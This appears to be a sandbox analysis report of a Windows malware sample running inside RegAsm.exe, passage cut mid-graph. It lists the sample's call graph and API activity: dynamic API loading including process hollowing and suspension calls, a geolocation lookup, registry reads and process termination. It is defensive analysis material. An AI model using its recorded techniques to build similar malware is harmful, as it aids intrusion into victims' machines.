API calls 48599->48600 48601 404c27 48600->48601 48602 4020df 11 API calls 48601->48602 48615 404c30 48602->48615 48603 43bd51 new 21 API calls 48603->48615 48605 404c96 48607 404ca1 48605->48607 48605->48615 48606 4020b7 28 API calls 48606->48615 48724 404e26 99 API calls 48607->48724 48608 401fe2 28 API calls 48608->48615 48610 404ca8 48612 401fd8 11 API calls 48610->48612 48611 401fd8 11 API calls 48611->48615 48613 404cb1 48612->48613 48614 401fd8 11 API calls 48613->48614 48616 404cba 48614->48616 48615->48603 48615->48605 48615->48606 48615->48608 48615->48611 48711 404cc3 48615->48711 48723 404b96 57 API calls 48615->48723 48616->47971 48618->47949 48619->47971 48621->47966 48622->47971 48623->47971 48625 414dc8 GetSystemDirectoryA 48624->48625 48642 414ecf 48624->48642 48626 414de3 48625->48626 48625->48642 48645 441a3e 48626->48645 48628 414dff 48652 441a98 48628->48652 48630 414e0f LoadLibraryA 48631 414e31 GetProcAddress 48630->48631 48632 414e42 48630->48632 48631->48632 48633 414e3d FreeLibrary 48631->48633 48634 441a3e ___std_exception_copy 20 API calls 48632->48634 48643 414e93 48632->48643 48633->48632 48635 414e5e 48634->48635 48637 441a98 20 API calls 48635->48637 48636 414e99 GetProcAddress 48638 414eb4 FreeLibrary 48636->48638 48636->48643 48639 414e6e LoadLibraryA 48637->48639 48640 414eb2 48638->48640 48641 414e82 GetProcAddress 48639->48641 48639->48642 48640->48642 48641->48643 48644 414e8e FreeLibrary 48641->48644 48642->48476 48643->48636 48643->48640 48643->48642 48644->48643 48646 441a59 48645->48646 48647 441a4b 48645->48647 48659 4405dd 20 API calls _abort 48646->48659 48647->48646 48650 441a70 48647->48650 48649 441a61 __wsopen_s 48649->48628 48650->48649 48660 4405dd 20 API calls _abort 48650->48660 48653 441ab4 48652->48653 48655 441aa6 48652->48655 48661 4405dd 20 API calls _abort 48653->48661 48655->48653 48656 441add 48655->48656 48658 441abc __wsopen_s 48656->48658 48662 4405dd 20 API calls _abort 48656->48662 48658->48630 48659->48649 48660->48649 48661->48658 48662->48658 48663->48486 48668 40515c 102 API calls 48665->48668 48667 405159 48668->48667 48669->48514 48670->48505 48671->48535 48672->48548 48673->48545 48674->48516 48676->48564 48680 414553 48677->48680 48681 414568 ___scrt_initialize_default_local_stdio_options 48680->48681 48684 43f79d 48681->48684 48687 43c4f0 48684->48687 48688 43c530 48687->48688 48689 43c518 48687->48689 48688->48689 48691 43c538 48688->48691 48702 4405dd 20 API calls _abort 48689->48702 48692 43a7b7 __fassign 36 API calls 48691->48692 48693 43c548 48692->48693 48703 43cc76 20 API calls 2 library calls 48693->48703 48694 43c51d __wsopen_s 48696 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 48694->48696 48698 414576 48696->48698 48697 43c5c0 48704 43d2e4 51 API calls 3 library calls 48697->48704 48698->47949 48701 43c5cb 48705 43cce0 20 API calls _free 48701->48705 48702->48694 48703->48697 48704->48701 48705->48694 48707 441c94 48706->48707 48709 441ccb __wsopen_s 48707->48709 48710 4405dd 20 API calls _abort 48707->48710 48709->48571 48710->48709 48712 4020df 11 API calls 48711->48712 48719 404cde 48712->48719 48713 404e13 48714 401fd8 11 API calls 48713->48714 48715 404e1c 48714->48715 48715->48605 48716 4041a2 28 API calls 48716->48719 48717 4020f6 28 API calls 48717->48719 48718 401fc0 28 API calls 48720 404dad CreateEventA CreateThread WaitForSingleObject CloseHandle 48718->48720 48719->48713 48719->48716 48719->48717 48719->48718 48721 401fe2 28 API calls 48719->48721 48722 401fd8 11 API calls 48719->48722 48720->48719 48725 415aea 48720->48725 48721->48719 48722->48719 48723->48615 48724->48610 48726 4020f6 28 API calls 48725->48726 48727 415b0c SetEvent 48726->48727 48728 415b21 48727->48728 48729 4041a2 28 API calls 48728->48729 48730 415b3b 48729->48730 48731 4020f6 28 API calls 48730->48731 48732 415b4b 48731->48732 48733 4020f6 28 API calls 48732->48733 48734 415b5d 48733->48734 48735 41be1b 28 API calls 48734->48735 48736 415b66 48735->48736 48737 417089 48736->48737 48738 415b86 GetTickCount 48736->48738 48739 415d2f 48736->48739 48740 401e8d 11 API calls 48737->48740 48741 41bb8e 28 API calls 48738->48741 48739->48737 48799 415ce5 48739->48799 48742 417092 48740->48742 48743 415b97 48741->48743 48744 401fd8 11 API calls 48742->48744 48746 41bae6 GetTickCount 48743->48746 48747 41709e 48744->48747 48749 415ba3 48746->48749 48750 401fd8 11 API calls 48747->48750 48748 415cc9 48748->48737 48751 41bb8e 28 API calls 48749->48751 48752 4170aa 48750->48752 48753 415bae 48751->48753 48754 41ba96 30 API calls 48753->48754 48755 415bbc 48754->48755 48756 41bd1e 28 API calls 48755->48756 48757 415bca 48756->48757 48758 401e65 22 API calls 48757->48758 48759 415bd8 48758->48759 48804 402f31 28 API calls 48759->48804 48761 415be6 48805 402ea1 28 API calls 48761->48805 48763 415bf5 48764 402f10 28 API calls 48763->48764 48765 415c04 48764->48765 48806 402ea1 28 API calls 48765->48806 48767 415c13 48768 402f10 28 API calls 48767->48768 48769 415c1f 48768->48769 48807 402ea1 28 API calls 48769->48807 48771 415c29 48808 404aa1 61 API calls _Yarn 48771->48808 48773 415c38 48774 401fd8 11 API calls 48773->48774 48775 415c41 48774->48775 48776 401fd8 11 API calls 48775->48776 48777 415c4d 48776->48777 48778 401fd8 11 API calls 48777->48778 48779 415c59 48778->48779 48780 401fd8 11 API calls 48779->48780 48781 415c65 48780->48781 48782 401fd8 11 API calls 48781->48782 48783 415c71 48782->48783 48784 401fd8 11 API calls 48783->48784 48785 415c7d 48784->48785 48786 401f09 11 API calls 48785->48786 48787 415c86 48786->48787 48788 401fd8 11 API calls 48787->48788 48789 415c8f 48788->48789 48790 401fd8 11 API calls 48789->48790 48791 415c98 48790->48791 48792 401e65 22 API calls 48791->48792 48793 415ca3 48792->48793 48794 43baac _strftime 40 API calls 48793->48794 48795 415cb0 48794->48795 48796 415cb5 48795->48796 48797 415cdb 48795->48797 48800 415cc3 48796->48800 48801 415cce 48796->48801 48798 401e65 22 API calls 48797->48798 48798->48799 48799->48737 48810 4050e4 84 API calls 48799->48810 48809 404ff4 82 API calls 48800->48809 48802 404f51 105 API calls 48801->48802 48802->48748 48804->48761 48805->48763 48806->48767 48807->48771 48808->48773 48809->48748 48810->48748 48813 401f8e 48812->48813 48814 402252 11 API calls 48813->48814 48815 401f99 48814->48815 48815->47993 48815->47994 48815->47996 48816->47999 48817->48026 48818->48025 48819->48014 48820->48020 48821->48024 48822->48056 48827 40f7c2 48825->48827 48826 413549 3 API calls 48826->48827 48827->48826 48829 40f866 48827->48829 48831 40f856 Sleep 48827->48831 48847 40f7f4 48827->48847 48828 40905c 28 API calls 48828->48847 48830 40905c 28 API calls 48829->48830 48834 40f871 48830->48834 48831->48827 48833 41bc5e 28 API calls 48833->48847 48835 41bc5e 28 API calls 48834->48835 48836 40f87d 48835->48836 48860 413814 14 API calls 48836->48860 48839 401f09 11 API calls 48839->48847 48840 40f890 48841 401f09 11 API calls 48840->48841 48843 40f89c 48841->48843 48842 402093 28 API calls 48842->48847 48844 402093 28 API calls 48843->48844 48845 40f8ad 48844->48845 48848 41376f 14 API calls 48845->48848 48846 41376f 14 API calls 48846->48847 48847->48828 48847->48831 48847->48833 48847->48839 48847->48842 48847->48846 48858 40d096 112 API calls ___scrt_get_show_window_mode 48847->48858 48859 413814 14 API calls 48847->48859 48849 40f8c0 48848->48849 48861 412850 TerminateProcess WaitForSingleObject 48849->48861 48851 40f8c8 ExitProcess 48862 4127ee 62 API calls 48857->48862 48859->48847 48860->48840 48861->48851 48863 4269e6 48864 4269fb 48863->48864 48869 426a8d 48863->48869 48865 426a48 48864->48865 48866 426b44 48864->48866 48867 426abd 48864->48867 48868 426b1d 48864->48868 48864->48869 48872 426af2 48864->48872 48876 426a7d 48864->48876 48891 424edd 49 API calls _Yarn 48864->48891 48865->48869 48865->48876 48892 41fb6c 52 API calls 48865->48892 48866->48869 48896 426155 28 API calls 48866->48896 48867->48869 48867->48872 48894 41fb6c 52 API calls 48867->48894 48868->48866 48868->48869 48879 425ae1 48868->48879 48872->48868 48895 4256f0 21 API calls 48872->48895 48876->48867 48876->48869 48893 424edd 49 API calls _Yarn 48876->48893 48880 425b00 ___scrt_get_show_window_mode 48879->48880 48883 425b0f 48880->48883 48888 425b34 48880->48888 48897 41ebbb 21 API calls 48880->48897 48881 425b14 48886 425b1d 48881->48886 48881->48888 48900 41da5f 49 API calls 48881->48900 48883->48881 48883->48888 48898 4205d8 46 API calls 48883->48898 48886->48888 48901 424d05 21 API calls 2 library calls 48886->48901 48888->48866 48889 425bb7 48889->48888 48899 432ec4 21 API calls new 48889->48899 48891->48865 48892->48865 48893->48867 48894->48867 48895->48868 48896->48869 48897->48883 48898->48889 48899->48881 48900->48886 48901->48888 48902 434875 48907 434b47 SetUnhandledExceptionFilter 48902->48907 48904 43487a pre_c_initialization 48908 44554b 20 API calls 2 library calls 48904->48908 48906 434885 48907->48904 48908->48906 48909 415d06 48924 41b380 48909->48924 48911 415d0f 48912 4020f6 28 API calls 48911->48912 48913 415d1e 48912->48913 48935 404aa1 61 API calls _Yarn 48913->48935 48915 415d2a 48916 417089 48915->48916 48917 401fd8 11 API calls 48915->48917 48918 401e8d 11 API calls 48916->48918 48917->48916 48919 417092 48918->48919 48920 401fd8 11 API calls 48919->48920 48921 41709e 48920->48921 48922 401fd8 11 API calls 48921->48922 48923 4170aa 48922->48923 48925 4020df 11 API calls 48924->48925 48926 41b38e 48925->48926 48927 43bd51 new 21 API calls 48926->48927 48928 41b39e InternetOpenW InternetOpenUrlW 48927->48928 48929 41b3c5 InternetReadFile 48928->48929 48932 41b3e8 48929->48932 48930 4020b7 28 API calls 48930->48932 48931 41b415 InternetCloseHandle InternetCloseHandle 48933 41b427 48931->48933 48932->48929 48932->48930 48932->48931 48934 401fd8 11 API calls 48932->48934 48933->48911 48934->48932 48935->48915 48936 426c4b 48941 426cc8 send 48936->48941 48942 44831e 48950 448710 48942->48950 48945 448332 48947 44833a 48948 448347 48947->48948 48958 44834a 11 API calls 48947->48958 48951 4484ca __Toupper 5 API calls 48950->48951 48952 448737 48951->48952 48953 44874f TlsAlloc 48952->48953 48956 448740 48952->48956 48953->48956 48954 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 48955 448328 48954->48955 48955->48945 48957 448299 20 API calls 3 library calls 48955->48957 48956->48954 48957->48947 48958->48945 48959 43be58 48961 43be64 _swprintf ___BuildCatchObject 48959->48961 48960 43be72 48975 4405dd 20 API calls _abort 48960->48975 48961->48960 48963 43be9c 48961->48963 48970 445888 EnterCriticalSection 48963->48970 48965 43be77 ___BuildCatchObject __wsopen_s 48966 43bea7 48971 43bf48 48966->48971 48970->48966 48973 43bf56 48971->48973 48972 43beb2 48976 43becf LeaveCriticalSection std::_Lockit::~_Lockit 48972->48976 48973->48972 48977 44976c 37 API calls 2 library calls 48973->48977 48975->48965 48976->48965 48977->48973 48978 41dfbd 48979 41dfd2 _Yarn ___scrt_get_show_window_mode 48978->48979 48991 41e1d5 48979->48991 48997 432ec4 21 API calls new 48979->48997 48982 41e1e6 48989 41e189 48982->48989 48993 432ec4 21 API calls new 48982->48993 48984 41e182 ___scrt_get_show_window_mode 48984->48989 48998 432ec4 21 API calls new 48984->48998 48986 41e21f ___scrt_get_show_window_mode 48986->48989 48994 43354a 48986->48994 48987 41e1af ___scrt_get_show_window_mode 48987->48989 48999 432ec4 21 API calls new 48987->48999 48991->48989 48992 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 48991->48992 48992->48982 48993->48986 49000 433469 48994->49000 48996 433552 48996->48989 48997->48984 48998->48987 48999->48991 49001 433482 49000->49001 49005 433478 49000->49005 49001->49005 49006 432ec4 21 API calls new 49001->49006 49003 4334a3 49003->49005 49007 433837 CryptAcquireContextA 49003->49007 49005->48996 49006->49003 49008 433853 49007->49008 49009 433858 CryptGenRandom 49007->49009 49008->49005 49009->49008 49010 43386d CryptReleaseContext 49009->49010 49010->49008 49011 40165e 49012 401666 49011->49012 49013 401669 49011->49013 49014 4016a8 49013->49014 49017 401696 49013->49017 49015 4344ea new 22 API calls 49014->49015 49016 40169c 49015->49016 49018 4344ea new 22 API calls 49017->49018 49018->49016 49019 426bdc 49025 426cb1 recv 49019->49025

                              Executed Functions

                              Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                              • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                              • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                              • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                              • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                              • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                              • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                              • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                              • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                              • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                              • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                              • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                              • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                              • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                              • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                              • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                              • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                              • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                              • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                              • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                              • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                              • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                              • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressProc$LibraryLoad$HandleModule
                              • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                              • API String ID: 4236061018-3687161714
                              • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                              • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                              • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                              • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                              Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 1175 41b380-41b3c3 call 4020df call 43bd51 InternetOpenW InternetOpenUrlW 1180 41b3c5-41b3e6 InternetReadFile 1175->1180 1181 41b3e8-41b408 call 4020b7 call 403376 call 401fd8 1180->1181 1182 41b40c-41b40f 1180->1182 1181->1182 1184 41b411-41b413 1182->1184 1185 41b415-41b422 InternetCloseHandle * 2 call 43bd4c 1182->1185 1184->1180 1184->1185 1189 41b427-41b431 1185->1189
                              APIs
                              • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                              • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                              • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                              • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                              • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                              Strings
                              • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Internet$CloseHandleOpen$FileRead
                              • String ID: http://geoplugin.net/json.gp
                              • API String ID: 3121278467-91888290
                              • Opcode ID: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                              • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                              • Opcode Fuzzy Hash: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                              • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                              Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              APIs
                                • Part of subcall function 00413549: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                                • Part of subcall function 00413549: RegQueryValueExA.KERNEL32 ref: 00413587
                                • Part of subcall function 00413549: RegCloseKey.KERNEL32(?), ref: 00413592
                              • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                              • ExitProcess.KERNEL32 ref: 0040F8CA
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseExitOpenProcessQuerySleepValue
                              • String ID: 5.0.0 Pro$override$pth_unenc
                              • API String ID: 2281282204-3992771774
                              • Opcode ID: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                              • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                              • Opcode Fuzzy Hash: 0c6c273467781de05ac3cf7c04fce85a932ac025a43e79accc6add002e08d8ca
                              • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                              Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                              Download Yara Rule
                              APIs
                              • CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,?,00000000,004334BF,00000034,?,?,00729870), ref: 00433849
                              • CryptGenRandom.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000), ref: 0043385F
                              • CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,?,00433552,00000000,?,00000000,0041E251), ref: 00433871
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Crypt$Context$AcquireRandomRelease
                              • String ID:
                              • API String ID: 1815803762-0
                              • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                              • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                              • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                              • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                              Function 00448957 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                              Strings
                              • GetSystemTimePreciseAsFileTime, xrefs: 00448972
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Time$FileSystem
                              • String ID: GetSystemTimePreciseAsFileTime
                              • API String ID: 2086374402-595813830
                              • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                              • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                              • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                              • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                              Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                              Download Yara Rule
                              APIs
                              • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: NameUser
                              • String ID:
                              • API String ID: 2645101109-0
                              • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                              • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                              • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                              • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                              Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                              Download Yara Rule
                              APIs
                              • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExceptionFilterUnhandled
                              • String ID:
                              • API String ID: 3192549508-0
                              • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                              • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                              • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                              • Instruction Fuzzy Hash:
                              Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 100 40f34f-40f36a call 401fab call 4139a9 call 412475 69->100 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 89 40ec13-40ec1a 79->89 90 40ec0c-40ec0e 79->90 80->79 99 40ebec-40ec02 call 401fab call 4139a9 80->99 94 40ec1c 89->94 95 40ec1e-40ec2a call 41b2c3 89->95 93 40eef1 90->93 93->49 94->95 105 40ec33-40ec37 95->105 106 40ec2c-40ec2e 95->106 99->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 100->126 108 40ec76-40ec89 call 401e65 call 401fab 105->108 109 40ec39 call 407716 105->109 106->105 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 117 40ec3e-40ec40 109->117 120 40ec42-40ec47 call 407738 call 407260 117->120 121 40ec4c-40ec5f call 401e65 call 401fab 117->121 120->121 121->108 141 40ec61-40ec67 121->141 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 148 40ec71 call 407260 144->148 148->108 180 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->180 181 40ed8a-40ed91 177->181 178->177 204 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->204 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 180->234 183 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 181->183 184 40ee0f-40ee19 call 409057 181->184 190 40ee1e-40ee42 call 40247c call 434798 183->190 184->190 212 40ee51 190->212 213 